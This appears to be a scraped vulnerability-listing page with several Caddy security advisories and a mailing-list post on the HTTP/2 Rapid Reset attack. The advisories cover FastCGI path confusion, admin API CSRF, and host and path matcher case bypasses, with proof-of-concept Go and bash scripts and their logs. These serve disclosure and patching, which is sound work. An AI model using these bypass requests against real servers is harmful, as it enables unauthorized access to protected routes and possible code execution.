Where
-Infinity
0
Severity
9.8
EPSS
0.19%
Input Validation
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

Caddy's FastCGI path splitting logic computes the split index on a lowercased copy of the request path and then uses that byte index to slice the original path. This is unsafe for Unicode because strings.ToLower() can change UTF-8 byte length for some characters. As a result, Caddy can derive an incorrect SCRIPTNAME/SCRIPTFILENAME and PATHINFO, potentially causing a request that contains .php to execute a different on-disk file than intended (path confusion). In setups where an attacker can control file contents (e.g., upload features), this can lead to unintended PHP execution of non-.php files (potential RCE depending on deployment).

Details

The issue is in github.com/caddyserver/caddy/modules/caddyhttp/fastcgi.Trasnport.splitPos() (and the subsequent slicing in buildEnv()):

lowerPath := strings.ToLower(path) idx := strings.Index(lowerPath, strings.ToLower(split)) return idx + len(split)

The returned index is computed in the byte space of lowerPath, but buildEnv() applies it to the original path:

- docURI = path[:splitPos] - pathInfo = path[splitPos:] - scriptName = strings.TrimSuffix(path, fc.pathInfo) - scriptFilename = caddyhttp.SanitizedPathJoin(fc.documentRoot, fc.scriptName)

This assumes lowerPath and path have identical byte lengths and identical byte offsets, which is not true for some Unicode case mappings. Certain characters expand when lowercased (UTF-8 byte length increases), shifting the computed index. This creates a mismatch where .php is found in the lowercased string at an offset that does not correspond to the same position in the original string, causing the split point to land later/earlier than intended.

PoC

Create a small Go program that reproduces Caddy's splitPos() behavior (compute the .php split point on a lowercased path, then use that byte index on the original path):

1. Save this as poc.go:

go package main

import ( "fmt" "strings" )

func splitPos(path string, split string) int { lowerPath := strings.ToLower(path) idx := strings.Index(lowerPath, strings.ToLower(split)) if idx < 0 { return -1 } return idx + len(split) }

func main() { // U+023A: Ⱥ (UTF-8: C8 BA). Lowercase is ⱥ (UTF-8: E2 B1 A5), longer in bytes. path := "/ȺȺȺȺshell.php.txt.php" split := ".php"

pos := splitPos(path, split)

fmt.Printf("orig bytes=%d\n", len(path)) fmt.Printf("lower bytes=%d\n", len(strings.ToLower(path))) fmt.Printf("splitPos=%d\n", pos)

fmt.Printf("orig[:pos]=%q\n", path[:pos]) fmt.Printf("orig[pos:]=%q\n", path[pos:])

// Expected split: right after the first ".php" in the original string want := strings.Index(path, split) + len(split) fmt.Printf("expected splitPos=%d\n", want) fmt.Printf("expected orig[:]=%q\n", path[:want]) }

2. Run it:

console go run poc.go

Output on my side:

orig bytes=26 lower bytes=30 splitPos=22 orig[:pos]="/ȺȺȺȺshell.php.txt" orig[pos:]=".php" expected splitPos=18 expected orig[:]="/ȺȺȺȺshell.php"

Expected split is right after the first .php (/ȺȺȺȺshell.php). Instead, the computed split lands later and cuts the original path after shell.php.txt, leaving .php as the remainder.

Impact

Security boundary bypass/path confusion in script resolution. In typical deployments, .php extension boundaries are relied on to decide what is executed by PHP. This bug can cause Caddy/FPM to execute a different file than intended by confusing SCRIPTNAME/SCRIPTFILENAME. If an attacker can place attacker-controlled content into a file that can be resolved as SCRIPTFILENAME (common in web apps with uploads or writable directories), this can lead to unintended PHP execution of non-.php files and potentially remote code execution. Severity depends on deployment and presence of attacker-controlled file writes, but the primitive itself is remotely triggerable via crafted URLs.

This vulnerability was initially reported to FrankenPHP (https://github.com/php/frankenphp/security/advisories/GHSA-g966-83w7-6w38) by @AbdrrahimDahmani. The affected code has been copied/adapted from Caddy, which, according to research, is also affected.

The patch is a port of the FrankenPHP patch.

1 / 2
Source: GitHub
First published (updated )
Severity
6.9
EPSS
0.02%
CSRF
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Caddy is an extensible server platform that uses TLS by default. Prior to version 2.11.1, the local caddy admin API (default listen 127.0.0.1:2019) exposes a state-changing POST /load endpoint that replaces the entire running configuration. When origin enforcement is not enabled (enforceorigin not configured), the admin endpoint accepts cross-origin requests (e.g., from attacker-controlled web content in a victim browser) and applies an attacker-supplied JSON config. This can change the admin listener settings and alter HTTP server behavior without user intent. Version 2.11.1 contains a fix for the issue.

1 / 2
Source: NVD
First published (updated )
Severity
9.1
EPSS
0.04%
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary Caddy's HTTP host request matcher is documented as case-insensitive, but when configured with a large host list (>100 entries) it becomes case-sensitive due to an optimized matching path. An attacker can bypass host-based routing and any access controls attached to that route by changing the casing of the Host header.

Details In Caddy v2.10.2, the MatchHost matcher states it matches the Host value case-insensitively:

- modules/caddyhttp/matchers.go: type MatchHost matches requests by the Host value (case-insensitive).

However, in MatchHost.MatchWithError, when the host list is considered "large" (len(m) > 100):

- MatchHost.large() returns true for len(m) > 100 (modules/caddyhttp/matchers.go, around the large() helper). - The matcher takes a "fast path" using binary search over the sorted host list, and checks for an exact match using a case-sensitive string comparison (m[pos] == reqHost). - After the fast path fails, the fallback loop short-circuits for large lists by breaking as soon as it reaches the first non-fuzzy entry. For configs comprised of exact hostnames only (no wildcards/placeholders), this prevents the strings.EqualFold(reqHost, host) check from ever running.

Net effect: with a host list length of 101 or more, changing only the casing of the incoming Host header can cause the host matcher to not match when it should.

Suggested fix - Normalize exact hostnames to lower-case during MatchHost.Provision (at least for non-fuzzy entries). - Normalize the incoming request host (reqHost) to lower-case before the large-list binary search + equality check, so the optimized path stays case-insensitive.

Reproduced on: - Stable release: v2.10.2 -- this is the release I reference in the repro below. - Dev build: v2.11.0-beta.2. - Master tip: commit 58968b3fd38cacbf4b5e07cc8c8be27696dce60f.

PoC Prereqs: - bash, curl - A pre-built Caddy binary available at /opt/caddy-2.10.2/caddy (edit CADDYBIN in the script if needed)

<details> <summary>Script (Click to expand)</summary>

bash #!/usr/bin/env bash set -euo pipefail

CADDYBIN="/opt/caddy-2.10.2/caddy" HOST="127.0.0.1" PORT="8080"

TMPDIR="$(mktemp -d)" CADDYFILE="${TMPDIR}/Caddyfile" LOG="${TMPDIR}/caddy.log"

cleanup() { if [ -n "${CADDYPID:-}" ] && kill -0 "${CADDYPID}" 2>/dev/null; then kill "${CADDYPID}" 2>/dev/null || true wait "${CADDYPID}" 2>/dev/null || true fi rm -rf "${TMPDIR}" 2>/dev/null || true } trap cleanup EXIT

if [ ! -x "${CADDYBIN}" ]; then echo "error: missing caddy binary at ${CADDYBIN}" >&2 exit 2 fi

echo "== Caddy version ==" "${CADDYBIN}" version

cat >"${CADDYFILE}" <<EOF { debug }

:${PORT} { log @protected { host h001.test h002.test h003.test h004.test h005.test h006.test h007.test h008.test h009.test h010.test h011.test h012.test h013.test h014.test h015.test h016.test h017.test h018.test h019.test h020.test h021.test h022.test h023.test h024.test h025.test h026.test h027.test h028.test h029.test h030.test h031.test h032.test h033.test h034.test h035.test h036.test h037.test h038.test h039.test h040.test h041.test h042.test h043.test h044.test h045.test h046.test h047.test h048.test h049.test h050.test h051.test h052.test h053.test h054.test h055.test h056.test h057.test h058.test h059.test h060.test h061.test h062.test h063.test h064.test h065.test h066.test h067.test h068.test h069.test h070.test h071.test h072.test h073.test h074.test h075.test h076.test h077.test h078.test h079.test h080.test h081.test h082.test h083.test h084.test h085.test h086.test h087.test h088.test h089.test h090.test h091.test h092.test h093.test h094.test h095.test h096.test h097.test h098.test h099.test h100.test h101.test path /admin } respond @protected "DENY" 403 respond "ALLOW" 200 } EOF

echo echo "== Caddyfile ==" cat "${CADDYFILE}"

echo echo "== Start Caddy (debug + capture logs) ==" echo "cmd: ${CADDYBIN} run --config ${CADDYFILE} --adapter caddyfile" "${CADDYBIN}" run --config "${CADDYFILE}" --adapter caddyfile >"${LOG}" 2>&1 & CADDYPID="$!"

sleep 2

echo echo "== Request 1 (baseline - expect deny) ==" echo "cmd: curl -v -H 'Host: h050.test' http://${HOST}:${PORT}/admin" curl -v -H "Host: h050.test" "http://${HOST}:${PORT}/admin" 2>&1 || true

echo echo "== Request 2 (BYPASS - expect allow) ==" echo "cmd: curl -v -H 'Host: H050.TEST' http://${HOST}:${PORT}/admin" curl -v -H "Host: H050.TEST" "http://${HOST}:${PORT}/admin" 2>&1 || true

echo echo "== Stop Caddy ==" kill "${CADDYPID}" 2>/dev/null || true wait "${CADDYPID}" 2>/dev/null || true

echo echo "== Full Caddy debug log ==" cat "${LOG}"

</details>

<details> <summary>Expected output (Click to expand)</summary>

bash == Caddy version == v2.10.2 h1:g/gTYjGMD0dec+UgMw8SnfmJ3I9+M2TdvoRL/Ovu6U8=

== Caddyfile == { debug }

:8080 { log @protected { host h001.test h002.test h003.test h004.test h005.test h006.test h007.test h008.test h009.test h010.test h011.test h012.test h013.test h014.test h015.test h016.test h017.test h018.test h019.test h020.test h021.test h022.test h023.test h024.test h025.test h026.test h027.test h028.test h029.test h030.test h031.test h032.test h033.test h034.test h035.test h036.test h037.test h038.test h039.test h040.test h041.test h042.test h043.test h044.test h045.test h046.test h047.test h048.test h049.test h050.test h051.test h052.test h053.test h054.test h055.test h056.test h057.test h058.test h059.test h060.test h061.test h062.test h063.test h064.test h065.test h066.test h067.test h068.test h069.test h070.test h071.test h072.test h073.test h074.test h075.test h076.test h077.test h078.test h079.test h080.test h081.test h082.test h083.test h084.test h085.test h086.test h087.test h088.test h089.test h090.test h091.test h092.test h093.test h094.test h095.test h096.test h097.test h098.test h099.test h100.test h101.test path /admin } respond @protected "DENY" 403 respond "ALLOW" 200 }

== Start Caddy (debug + capture logs) == cmd: /opt/caddy-2.10.2/caddy run --config /tmp/tmp.3BN6rgj9yF/Caddyfile --adapter caddyfile

== Request 1 (baseline - expect deny) == cmd: curl -v -H 'Host: h050.test' http://127.0.0.1:8080/admin Trying 127.0.0.1:8080... Connected to 127.0.0.1 (127.0.0.1) port 8080 using HTTP/1.x GET /admin HTTP/1.1 Host: h050.test User-Agent: curl/8.15.0 Accept: / Request completely sent off < HTTP/1.1 403 Forbidden < Content-Type: text/plain; charset=utf-8 < Server: Caddy < Date: Sun, 08 Feb 2026 22:09:09 GMT < Content-Length: 4 < Connection #0 to host 127.0.0.1 left intact DENY == Request 2 (BYPASS - expect allow) == cmd: curl -v -H 'Host: H050.TEST' http://127.0.0.1:8080/admin Trying 127.0.0.1:8080... Connected to 127.0.0.1 (127.0.0.1) port 8080 using HTTP/1.x GET /admin HTTP/1.1 Host: H050.TEST User-Agent: curl/8.15.0 Accept: / < HTTP/1.1 200 OK < Content-Type: text/plain; charset=utf-8 < Server: Caddy < Date: Sun, 08 Feb 2026 22:09:09 GMT < Content-Length: 5 < Connection #0 to host 127.0.0.1 left intact ALLOW == Stop Caddy ==

== Full Caddy debug log == {"level":"info","ts":1770588548.012352,"msg":"maxprocs: Leaving GOMAXPROCS=4: CPU quota undefined"} {"level":"info","ts":1770588548.0125406,"msg":"GOMEMLIMIT is updated","package":"github.com/KimMachineGun/automemlimit/memlimit","GOMEMLIMIT":1844136345,"previous":9223372036854775807} {"level":"info","ts":1770588548.0125597,"msg":"using config from file","file":"/tmp/tmp.3BN6rgj9yF/Caddyfile"} {"level":"info","ts":1770588548.0131946,"msg":"adapted config to JSON","adapter":"caddyfile"} {"level":"warn","ts":1770588548.013202,"msg":"Caddyfile input is not formatted; run 'caddy fmt --overwrite' to fix inconsistencies","adapter":"caddyfile","file":"/tmp/tmp.3BN6rgj9yF/Caddyfile","line":2} {"level":"info","ts":1770588548.0139973,"logger":"admin","msg":"admin endpoint started","address":"localhost:2019","enforceorigin":false,"origins":["//127.0.0.1:2019","//localhost:2019","//[::1]:2019"]} {"level":"debug","ts":1770588548.0140707,"logger":"http.autohttps","msg":"adjusted config","tls":{"automation":{"policies":[{}]}},"http":{"servers":{"srv0":{"listen":[":8080"],"routes":[{"handle":[{"handler":"subroute","routes":[{"handle":[{"body":"DENY","handler":"staticresponse","statuscode":403}],"match":[{"host":["h001.test","h002.test","h003.test","h004.test","h005.test","h006.test","h007.test","h008.test","h009.test","h010.test","h011.test","h012.test","h013.test","h014.test","h015.test","h016.test","h017.test","h018.test","h019.test","h020.test","h021.test","h022.test","h023.test","h024.test","h025.test","h026.test","h027.test","h028.test","h029.test","h030.test","h031.test","h032.test","h033.test","h034.test","h035.test","h036.test","h037.test","h038.test","h039.test","h040.test","h041.test","h042.test","h043.test","h044.test","h045.test","h046.test","h047.test","h048.test","h049.test","h050.test","h051.test","h052.test","h053.test","h054.test","h055.test","h056.test","h057.test","h058.test","h059.test","h060.test","h061.test","h062.test","h063.test","h064.test","h065.test","h066.test","h067.test","h068.test","h069.test","h070.test","h071.test","h072.test","h073.test","h074.test","h075.test","h076.test","h077.test","h078.test","h079.test","h080.test","h081.test","h082.test","h083.test","h084.test","h085.test","h086.test","h087.test","h088.test","h089.test","h090.test","h091.test","h092.test","h093.test","h094.test","h095.test","h096.test","h097.test","h098.test","h099.test","h100.test","h101.test"],"path":["/admin"]}]},{"handle":[{"body":"ALLOW","handler":"staticresponse","statuscode":200}]}]}],"terminal":true}],"automatichttps":{},"logs":{}}}}} {"level":"info","ts":1770588548.0143135,"logger":"tls.cache.maintenance","msg":"started background certificate maintenance","cache":"0xc0000d7c80"} {"level":"debug","ts":1770588548.0143793,"logger":"http","msg":"starting server loop","address":"[::]:8080","tls":false,"http3":false} {"level":"warn","ts":1770588548.014415,"logger":"http","msg":"HTTP/2 skipped because it requires TLS","network":"tcp","addr":":8080"} {"level":"warn","ts":1770588548.0144184,"logger":"http","msg":"HTTP/3 skipped because it requires TLS","network":"tcp","addr":":8080"} {"level":"info","ts":1770588548.0144203,"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]} {"level":"debug","ts":1770588548.014438,"logger":"events","msg":"event","name":"started","id":"1c7f6534-d264-456d-988d-e9f77a099c42","origin":"","data":null} {"level":"info","ts":1770588548.0145273,"msg":"autosaved config (load with --resume flag)","file":"/home/vh/.config/caddy/autosave.json"} {"level":"info","ts":1770588548.0145316,"msg":"serving initial configuration"} {"level":"info","ts":1770588548.0274432,"logger":"tls","msg":"storage cleaning happened too recently; skipping for now","storage":"FileStorage:/home/vh/.local/share/caddy","instance":"a259f82d-3c7c-4706-9ca8-17456b4af729","tryagain":1770674948.0274422,"tryagainin":86399.999999709} {"level":"info","ts":1770588548.0275078,"logger":"tls","msg":"finished cleaning storage units"} {"level":"info","ts":1770588549.9694445,"logger":"http.log.access","msg":"handled request","request":{"remoteip":"127.0.0.1","remoteport":"53220","clientip":"127.0.0.1","proto":"HTTP/1.1","method":"GET","host":"h050.test","uri":"/admin","headers":{"User-Agent":["curl/8.15.0"],"Accept":["/"]}},"bytesread":0,"userid":"","duration":0.000014857,"size":4,"status":403,"respheaders":{"Server":["Caddy"],"Content-Type":["text/plain; charset=utf-8"]}} {"level":"info","ts":1770588549.9741833,"logger":"http.log.access","msg":"handled request","request":{"remoteip":"127.0.0.1","remoteport":"53234","clientip":"127.0.0.1","proto":"HTTP/1.1","method":"GET","host":"H050.TEST","uri":"/admin","headers":{"Accept":["/"],"User-Agent":["curl/8.15.0"]}},"bytesread":0,"userid":"","duration":0.00000551,"size":5,"status":200,"respheaders":{"Server":["Caddy"],"Content-Type":["text/plain; charset=utf-8"]}} {"level":"info","ts":1770588549.9751372,"msg":"shutting down apps, then terminating","signal":"SIGTERM"} {"level":"warn","ts":1770588549.9751456,"msg":"exiting; byeee!! 👋","signal":"SIGTERM"} {"level":"debug","ts":1770588549.9751775,"logger":"events","msg":"event","name":"stopping","id":"e02c5e64-9d76-48b6-a967-4f003850bdd4","origin":"","data":null} {"level":"info","ts":1770588549.9751873,"logger":"http","msg":"servers shutting down with eternal grace period"} {"level":"info","ts":1770588549.975331,"logger":"admin","msg":"stopped previous server","address":"localhost:2019"} {"level":"info","ts":1770588549.9753368,"msg":"shutdown complete","signal":"SIGTERM","exitcode":0} </details>

Impact This is a route/auth bypass in Caddy's request-matching layer. Any internet-exposed Caddy deployment that relies on host matchers with large host lists (>100) to select protected routes (e.g. applying basicauth, forwardauth, respond deny rules, or protecting reverseproxy backends) can be bypassed by varying the case of the Host header, allowing unauthorized access to sensitive endpoints depending on upstream configuration.

The reproduction is minimal per the reporting guidance; a realistic "full" scenario is Caddy fronting a multi-tenant app and doing forwardauth/basicauth/deny for /admin only when host is in a big (>100) allowlist, but the default handler still reverseproxying to the same app. Then sending Host: H050.TEST skips the guarded route in Caddy, yet the upstream still treats it as the same tenant host --> /admin is reachable without the intended guard.

AI Use Disclosure A custom AI agent pipeline was used to discover the vulnerability, after which was manually reproduced and validated each step. The entire report was ran through an LLM for editing.

Disclosure/crediting

Asim Viladi Oglu Manizada

1 / 2
Source: GitHub
First published (updated )
Severity
9.1
EPSS
0.04%
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary Caddy's HTTP path request matcher is intended to be case-insensitive, but when the match pattern contains percent-escape sequences (%xx) it compares against the request's escaped path without lowercasing. An attacker can bypass path-based routing and any access controls attached to that route by changing the casing of the request path.

Details In Caddy v2.10.2, MatchPath is explicitly designed to be case-insensitive and lowercases match patterns during provisioning:

- modules/caddyhttp/matchers.go: rationale captured in the MatchPath comment. - MatchPath.Provision lowercases configured patterns via strings.ToLower. - MatchPath.MatchWithError lowercases the request path for the normal matching path: reqPath := strings.ToLower(r.URL.Path).

But when a match pattern contains a percent sign (%), MatchPath.MatchWithError switches to "escaped space" matching and builds the comparison string from r.URL.EscapedPath():

- reqPathForPattern := CleanPath(r.URL.EscapedPath(), mergeSlashes) - If it doesn't match, it continues (skipping the remaining matching logic for that pattern).

Because r.URL.EscapedPath() is not lowercased, case differences in the request path can cause the escaped-space match to fail even though MatchPath is meant to be case-insensitive. For example, with a pattern of /admin%2Fpanel:

- Requesting /admin%2Fpanel matches and can be denied as intended. - Requesting /ADMIN%2Fpanel does not match and falls through to other routes/handlers.

Suggested fix - In the %-pattern matching path, ensure the effective string passed to path.Match is lowercased (same as the normal branch). - Simplest seems to lowercase the constructed string in matchPatternWithEscapeSequence right before path.Match.

Reproduced on: - Stable release: v2.10.2 -- this is the release referenced in the reproduction below. - Dev build: v2.11.0-beta.2. - Master tip: commit 58968b3fd38cacbf4b5e07cc8c8be27696dce60f.

PoC Prereqs: - bash, curl - A pre-built Caddy binary available at /opt/caddy-2.10.2/caddy (edit CADDYBIN in the script if needed)

<details> <summary>Script (Click to expand)</summary>

bash #!/usr/bin/env bash set -euo pipefail

CADDYBIN="/opt/caddy-2.10.2/caddy" HOST="127.0.0.1" PORT="8080"

TMPDIR="$(mktemp -d)" CADDYFILE="${TMPDIR}/Caddyfile" LOG="${TMPDIR}/caddy.log"

cleanup() { if [ -n "${CADDYPID:-}" ] && kill -0 "${CADDYPID}" 2>/dev/null; then kill "${CADDYPID}" 2>/dev/null || true wait "${CADDYPID}" 2>/dev/null || true fi rm -rf "${TMPDIR}" 2>/dev/null || true } trap cleanup EXIT

if [ ! -x "${CADDYBIN}" ]; then echo "error: missing caddy binary at ${CADDYBIN}" >&2 exit 2 fi

echo "== Caddy version ==" "${CADDYBIN}" version

cat >"${CADDYFILE}" <<EOF { debug }

:${PORT} { log @block { path /admin%2Fpanel } respond @block "DENY" 403 respond "ALLOW" 200 } EOF

echo echo "== Caddyfile ==" cat "${CADDYFILE}"

echo echo "== Start Caddy (debug + capture logs) ==" echo "cmd: ${CADDYBIN} run --config ${CADDYFILE} --adapter caddyfile" "${CADDYBIN}" run --config "${CADDYFILE}" --adapter caddyfile >"${LOG}" 2>&1 & CADDYPID="$!"

sleep 2

echo echo "== Request 1 (baseline - expect deny) ==" echo "cmd: curl -v -H 'Host: example.test' http://${HOST}:${PORT}/admin%2Fpanel" curl -v -H "Host: example.test" "http://${HOST}:${PORT}/admin%2Fpanel" 2>&1 || true

echo echo "== Request 2 (BYPASS - expect allow) ==" echo "cmd: curl -v -H 'Host: example.test' http://${HOST}:${PORT}/ADMIN%2Fpanel" curl -v -H "Host: example.test" "http://${HOST}:${PORT}/ADMIN%2Fpanel" 2>&1 || true

echo echo "== Stop Caddy ==" kill "${CADDYPID}" 2>/dev/null || true wait "${CADDYPID}" 2>/dev/null || true

echo echo "== Full Caddy debug log ==" cat "${LOG}" </details>

<details> <summary>Expected output (Click to expand)</summary>

bash == Caddy version == v2.10.2 h1:g/gTYjGMD0dec+UgMw8SnfmJ3I9+M2TdvoRL/Ovu6U8=

== Caddyfile == { debug }

:8080 { log @block { path /admin%2Fpanel } respond @block "DENY" 403 respond "ALLOW" 200 }

== Start Caddy (debug + capture logs) == cmd: /opt/caddy-2.10.2/caddy run --config /tmp/tmp.GXiRbxOnBN/Caddyfile --adapter caddyfile

== Request 1 (baseline - expect deny) == cmd: curl -v -H 'Host: example.test' http://127.0.0.1:8080/admin%2Fpanel Trying 127.0.0.1:8080... Connected to 127.0.0.1 (127.0.0.1) port 8080 using HTTP/1.x GET /admin%2Fpanel HTTP/1.1 Host: example.test User-Agent: curl/8.15.0 Accept: / Request completely sent off < HTTP/1.1 403 Forbidden < Content-Type: text/plain; charset=utf-8 < Server: Caddy < Date: Sun, 08 Feb 2026 22:19:20 GMT < Content-Length: 4 < Connection #0 to host 127.0.0.1 left intact DENY == Request 2 (BYPASS - expect allow) == cmd: curl -v -H 'Host: example.test' http://127.0.0.1:8080/ADMIN%2Fpanel Trying 127.0.0.1:8080... Connected to 127.0.0.1 (127.0.0.1) port 8080 using HTTP/1.x GET /ADMIN%2Fpanel HTTP/1.1 Host: example.test User-Agent: curl/8.15.0 Accept: / Request completely sent off < HTTP/1.1 200 OK < Content-Type: text/plain; charset=utf-8 < Server: Caddy < Date: Sun, 08 Feb 2026 22:19:20 GMT < Content-Length: 5 < Connection #0 to host 127.0.0.1 left intact ALLOW == Stop Caddy ==

== Full Caddy debug log == {"level":"info","ts":1770589158.3687892,"msg":"maxprocs: Leaving GOMAXPROCS=4: CPU quota undefined"} {"level":"info","ts":1770589158.3690693,"msg":"GOMEMLIMIT is updated","package":"github.com/KimMachineGun/automemlimit/memlimit","GOMEMLIMIT":1844136345,"previous":9223372036854775807} {"level":"info","ts":1770589158.369109,"msg":"using config from file","file":"/tmp/tmp.GXiRbxOnBN/Caddyfile"} {"level":"info","ts":1770589158.3704133,"msg":"adapted config to JSON","adapter":"caddyfile"} {"level":"warn","ts":1770589158.370424,"msg":"Caddyfile input is not formatted; run 'caddy fmt --overwrite' to fix inconsistencies","adapter":"caddyfile","file":"/tmp/tmp.GXiRbxOnBN/Caddyfile","line":2} {"level":"info","ts":1770589158.3715324,"logger":"admin","msg":"admin endpoint started","address":"localhost:2019","enforceorigin":false,"origins":["//localhost:2019","//[::1]:2019","//127.0.0.1:2019"]} {"level":"debug","ts":1770589158.3716462,"logger":"http.autohttps","msg":"adjusted config","tls":{"automation":{"policies":[{}]}},"http":{"servers":{"srv0":{"listen":[":8080"],"routes":[{"handle":[{"body":"DENY","handler":"staticresponse","statuscode":403}]},{"handle":[{"body":"ALLOW","handler":"staticresponse","statuscode":200}]}],"automatichttps":{},"logs":{}}}}} {"level":"debug","ts":1770589158.3718414,"logger":"http","msg":"starting server loop","address":"[::]:8080","tls":false,"http3":false} {"level":"warn","ts":1770589158.371858,"logger":"http","msg":"HTTP/2 skipped because it requires TLS","network":"tcp","addr":":8080"} {"level":"warn","ts":1770589158.3718607,"logger":"http","msg":"HTTP/3 skipped because it requires TLS","network":"tcp","addr":":8080"} {"level":"info","ts":1770589158.3718636,"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]} {"level":"debug","ts":1770589158.3718896,"logger":"events","msg":"event","name":"started","id":"6bb8b6fe-4980-4a48-9f7e-2146ecd48ce6","origin":"","data":null} {"level":"info","ts":1770589158.3720388,"msg":"autosaved config (load with --resume flag)","file":"/home/vh/.config/caddy/autosave.json"} {"level":"info","ts":1770589158.3720443,"msg":"serving initial configuration"} {"level":"info","ts":1770589158.372355,"logger":"tls.cache.maintenance","msg":"started background certificate maintenance","cache":"0xc00064d180"} {"level":"info","ts":1770589158.3855736,"logger":"tls","msg":"storage cleaning happened too recently; skipping for now","storage":"FileStorage:/home/vh/.local/share/caddy","instance":"a259f82d-3c7c-4706-9ca8-17456b4af729","tryagain":1770675558.3855705,"tryagainin":86399.999999388} {"level":"info","ts":1770589158.3857276,"logger":"tls","msg":"finished cleaning storage units"} {"level":"info","ts":1770589160.2764065,"logger":"http.log.access","msg":"handled request","request":{"remoteip":"127.0.0.1","remoteport":"57126","clientip":"127.0.0.1","proto":"HTTP/1.1","method":"GET","host":"example.test","uri":"/admin%2Fpanel","headers":{"User-Agent":["curl/8.15.0"],"Accept":["/"]}},"bytesread":0,"userid":"","duration":0.000017493,"size":4,"status":403,"respheaders":{"Server":["Caddy"],"Content-Type":["text/plain; charset=utf-8"]}} {"level":"info","ts":1770589160.2943857,"logger":"http.log.access","msg":"handled request","request":{"remoteip":"127.0.0.1","remoteport":"57136","clientip":"127.0.0.1","proto":"HTTP/1.1","method":"GET","host":"example.test","uri":"/ADMIN%2Fpanel","headers":{"User-Agent":["curl/8.15.0"],"Accept":["/"]}},"bytesread":0,"userid":"","duration":0.000066734,"size":5,"status":200,"respheaders":{"Server":["Caddy"],"Content-Type":["text/plain; charset=utf-8"]}} {"level":"info","ts":1770589160.2966497,"msg":"shutting down apps, then terminating","signal":"SIGTERM"} {"level":"warn","ts":1770589160.2966666,"msg":"exiting; byeee!! 👋","signal":"SIGTERM"} {"level":"debug","ts":1770589160.296728,"logger":"events","msg":"event","name":"stopping","id":"aefb0a2f-0a81-4587-9f79-e530883c3fe1","origin":"","data":null} {"level":"info","ts":1770589160.2967443,"logger":"http","msg":"servers shutting down with eternal grace period"} {"level":"info","ts":1770589160.2968848,"logger":"admin","msg":"stopped previous server","address":"localhost:2019"} {"level":"info","ts":1770589160.2968912,"msg":"shutdown complete","signal":"SIGTERM","exitcode":0} </details>

Impact This is a route/auth bypass in Caddy's path-matching logic for patterns that include escape sequences. Deployments that use path matchers with %xx patterns to block or protect sensitive endpoints (including encoded-path variants such as encoded slashes) can be bypassed by changing the casing of the request path, allowing unauthorized access to sensitive endpoints behind Caddy depending on upstream configuration.

The reproduction is minimal per the reporting guidance. In a realistic "full" scenario, a deployment may block %xx variants like path /admin%2Fpanel, otherwise proxying. If the backend is case-insensitive/normalizing, /ADMIN%2Fpanel maps to the same handler; Caddy’s %-pattern match misses due to case, so the block is skipped and the request falls through.

AI Use Disclosure A custom AI agent pipeline was used to discover the vulnerability, after which was manually reproduced and validated each step. The entire report was ran through an LLM to make sure nothing obvious was missed.

Disclosure/crediting

Asim Viladi Oglu Manizada

1 / 2
Source: GitHub
First published (updated )

[I've seen multiple news articles & blogs in the wake of the coordinated disclosure today, but no postings here yet, so lets start fixing that.]

Google, Cloudflare, AWS, and others released details today of a protocol-level issue in HTTP/2 being exploited in recent months for denial-of-service attacks:

https://cloud.google.com/blog/products/identity-security/how-it-works-the-novel-http2-rapid-reset-ddos-attack https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/ https://aws.amazon.com/blogs/security/how-aws-protects-customers-from-ddos-events/

This attack works via the multiplexed streams feature of HTTP/2, in which the client repeatedly makes a request for a new stream, and then immediately sends a RSTSTREAM frame to cancel them, resulting in the server doing lots of extra work to set up and tear down the streams, while not hitting any server-side limit on a maximum number of active streams per connection.

CVE-2023-44487 was issued to track this issue across implementations: https://www.cve.org/CVERecord?id=CVE-2023-44487

A script to check for affected implemenations has been posted at: https://github.com/bcdannyboy/CVE-2023-44487

Information I've found so far on open source implementations (most via the current listings in the CVE) include:

- Apache httpd: https://chaos.social/@icing/111210915918780532

- caddy: https://github.com/caddyserver/caddy/issues/5877

- envoy: https://github.com/envoyproxy/envoy/pull/30055

- golang: https://github.com/golang/go/issues/63417 https://groups.google.com/g/golang-announce/c/iNNxDTCjZvo

- h2o: https://github.com/h2o/h2o/security/advisories/GHSA-2m7v-gc89-fjqf https://github.com/h2o/h2o/pull/3291

- haproxy: https://github.com/haproxy/haproxy/issues/2312

- hyper: https://seanmonstar.com/post/730794151136935936/hyper-http2-rapid-reset-unaffected

- jetty: https://github.com/eclipse/jetty.project/issues/10679 https://github.com/eclipse/jetty.project/releases/tag/jetty-12.0.2 https://github.com/eclipse/jetty.project/releases/tag/jetty-11.0.17 https://github.com/eclipse/jetty.project/releases/tag/jetty-10.0.17 https://github.com/eclipse/jetty.project/releases/tag/jetty-9.4.53.v20231009

- netty: https://github.com/netty/netty/commit/58f75f665aa81a8cbcf6ffa74820042a285c5e61

- nghttp2: https://github.com/nghttp2/nghttp2/pull/1961 https://github.com/nghttp2/nghttp2/releases/tag/v1.57.0

- nginx: https://www.nginx.com/blog/http-2-rapid-reset-attack-impacting-f5-nginx-products/ https://mailman.nginx.org/pipermail/nginx-devel/2023-October/S36Q5HBXR7CAIMPLLPRSSSYR4PCMWILK.html

